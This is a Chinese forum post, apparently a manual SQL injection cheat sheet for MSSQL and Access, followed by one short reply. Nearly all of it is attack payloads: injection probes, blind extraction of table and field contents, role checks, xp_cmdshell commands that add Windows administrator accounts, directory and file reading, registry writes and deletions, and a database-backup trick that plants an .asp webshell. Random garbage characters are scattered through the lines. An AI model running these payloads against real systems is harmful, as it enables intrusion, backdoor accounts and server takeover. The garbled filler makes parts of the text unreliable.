手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0
3 X$ C1 j/ f, T1 ]) l2 v  E
2 J8 J: c0 ~, ?) \" n3.注入参数是字符'and [查询条件] and ''='

1 i1 D! J( A7 n: I  L: c4.搜索时没过滤参数的'and [查询条件] and '%25'='

3 d4 V" h( j2 F' H, W% D% K8 a1 a5.判断数据库系统
3 T5 t9 E/ B1 H5 s/ u& R/ {4 Z  M;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
: U5 ]! P# s- H/ x" }
7 j9 d9 y. c( k7 v6.猜数据库 ;and (select Count(*) from [数据库名])>0
4 J4 S" s' V2 s" o$ i
7.猜字段 ;and (select Count(字段名) from 数据库名)>0

& V3 S$ `% {6 i9 J/ B$ z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值（access）
2 \& y1 k# _  E;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
) ]2 s# C( w) o& c3 L
5 l$ H0 q8 {' ~7 y9 @% d, a; Y- p10.测试权限结构（mssql）
6 H& P4 d+ M' _;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
, v) I# \9 k4 Z3 c- |4 y
( J+ l: O& l" x2 a% W;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--
  F; r' t; t4 x8 u: S
$ C# I5 y4 x) l& C1 B9 j' T* n;exec master.dbo.xp_cmdshell 'net user username password
9 [8 r  S& S) g/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

2 ?+ W* p; T8 ^/ _  a5 w: i12.(1)遍历目录
8 d/ r& x4 _9 x* D
6 |+ C3 g( r6 D0 E* l# O' l;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
' z( {$ t  T' q;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
: u# d7 s# ]! d: J
# P. Y$ d+ |9 J1 j4 D' t(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ U' Q& I0 f4 h: F* x  \;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
( l; F* t7 V( X7 H2 Z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
1 C2 @. Z; S. E( I
. }% e9 I" Z0 Y" @13.mssql中的存储过程

. E# V0 B8 {0 }' @1 C, }0 x. Nxp_regenumvalues 注册表根键, 子键
6 m2 }  `* C2 U* Z6 P: s4 K;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

. P! z0 w1 F5 |( ^# Vxp_regread 根键,子键,键值名
. ^1 T8 Y9 K$ d;exec xp_regread
, K" j$ o' Z' f'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

! m4 ^: ^7 K9 g/ |' K8 O7 cxp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
0 q/ q' B8 k1 n' |; ~! @  n/ I# L) };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名

4 I3 F: F* [. o' ]5 a1 Z- Lexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

/ J, m2 G+ r; `3 f7 J$ vxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
, y* W7 ]9 Y6 ~! s# F! D) s5 E
5 W. X; l" e1 Y1 F) \; D' }) }14.mssql的backup创建webshell
+ ~* Q+ W. q, Q. I. H; d0 L( Guse model
  |% x% `9 @- @9 N' n$ s1 vcreate table cmd(str image);
, x* d; O* O% [& k: u# }% Q: x5 m3 yinsert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

* a- R4 q$ Q' a. F' q5 {7 {15.mssql内置函数
& ~/ X+ Z. A: M! ]9 F;and (select @@version)>0 获得Windows的版本号
& t: `4 D% I+ W7 u1 K;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
* G. [4 X! N9 L! V! o
16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values ('');
, B; L3 Q* q. C$ Z; w1 W9 t' [
7 i: K/ h0 X* T. ]% D% d0 Hbackup database model to disk='g:\wwwtest\l.asp';

2 m' ~; p& a9 j* O& m- Q+ _7 ]

老男孩

现在很多防注入啊，有其他注入字符码